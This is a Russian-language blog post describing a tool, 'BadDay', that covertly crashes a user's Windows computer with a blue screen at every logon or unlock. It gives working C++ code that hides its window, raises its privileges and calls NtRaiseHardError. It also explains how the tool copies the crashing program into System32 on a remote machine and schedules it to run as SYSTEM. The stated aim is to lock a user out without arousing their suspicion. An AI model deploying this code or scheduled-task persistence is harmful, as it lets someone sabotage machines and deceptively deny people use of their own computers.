Как вызвать BSOD на Windows машине пользователя при входе в систему.
Опишу свой конкретно случай для которого мне собственно и подумалось реализовать программу, чтобы было удобно по необходимости «блокировать» компьютер пользователя.
Предисловие
По ряду причин может понадобится так что вам нужно заблокировать возможность работать на компьютере пользователю, к примеру по причине безопасности и вам нужно легально и не вызывая каких либо подозрений со стороны пользователя забрать его компьютер для анализа и прочего.
Для решения такой задачи выбрали вариант когда пользователь при авторизации в систему получал BSOD и не мог войти, при этом нужно не ломать систему, а иметь возможность отключать данный режим.
Реализация выглядит следующим образом, на компьютере пользователя размещается специальный файл (который при запуске вызывает BSOD) и создаётся задание в Планировщик задач Windows
с условиями, что при входе в систему или разблокировки ее любым пользователем, запускать эту самую программу, тем самым вызывая BSOD.
Для вызова BSOD мы явно инициируем «жесткую» ошибку системы с кодом STATUS_ASSERTION_FAILURE
, используя низкоуровневый системный вызов NtRaiseHardError
, реализация выглядит так:
EXTERN_C NTSTATUS NTAPI RtlAdjustPrivilege(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
EXTERN_C NTSTATUS NTAPI NtRaiseHardError(NTSTATUS ErrorStatus,
ULONG NumberOfParameters, ULONG UnicodeStringParameterMask,
PULONG_PTR Parameters, ULONG ValidRespnseOption, PULONG Response);
int main()
{
ShowWindow(GetConsoleWindow(), SW_HIDE);
BOOLEAN b;
unsigned long response;
RtlAdjustPrivilege(19, true, false, &b);
NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, 0, 6, &response);
}
Программа BadDay
Написана программа на C++
с использованием WinAPI. Суть программы простая и заключается в удобном включении режима BSOD на удаленной машине пользователя.
Remote Scheduled Tasks Management (RPC)
Remote Scheduled Tasks Management (RPC-EPMAP)
В противном случае подключение к удаленному Task Schedule завершится неудачей. В доменной среде это легко можно включить при помощи GPO.
При активации режима BadDay программа вызывающая BSOD (bcry.exe
) копируется на удаленную машину в каталог — C:\Windows\System32\bcry.exe
и создается задание в Task Schedule работающее от имени SYSTEM
и запускает bcry.exe
при входе пользователя в систему или если он заблокировал ПК и при последующей его разблокировки.

Описание действия кнопок:
"-"
: очистить поле ввода IP-адреса.Valid
: проверить сетевую доступность введенного IP адреса.Test Connection
: проверить возможность удаленной настройки задания в Task Schedule.GetTask
: проверить наличие задания [BadDay] на указанной машине.RunTask
: принудительно запустить задание [BadDay] на указанной машине, если оно там имеется.Activate [BadDay]
: создать задание [BadDay] на указанной машине.De-Activate [BadDay]
: удалить задание [BadDay] на указанной машине.
Если есть вопросы, предложения и нашли «баг», прошу в комментарии.
ПОНРАВИЛАСЬ ИЛИ ОКАЗАЛАСЬ ПОЛЕЗНОЙ СТАТЬЯ, ПОДДЕРЖИ АВТОРА ДОНАТОМ
Обсуждение
Нет комментариев.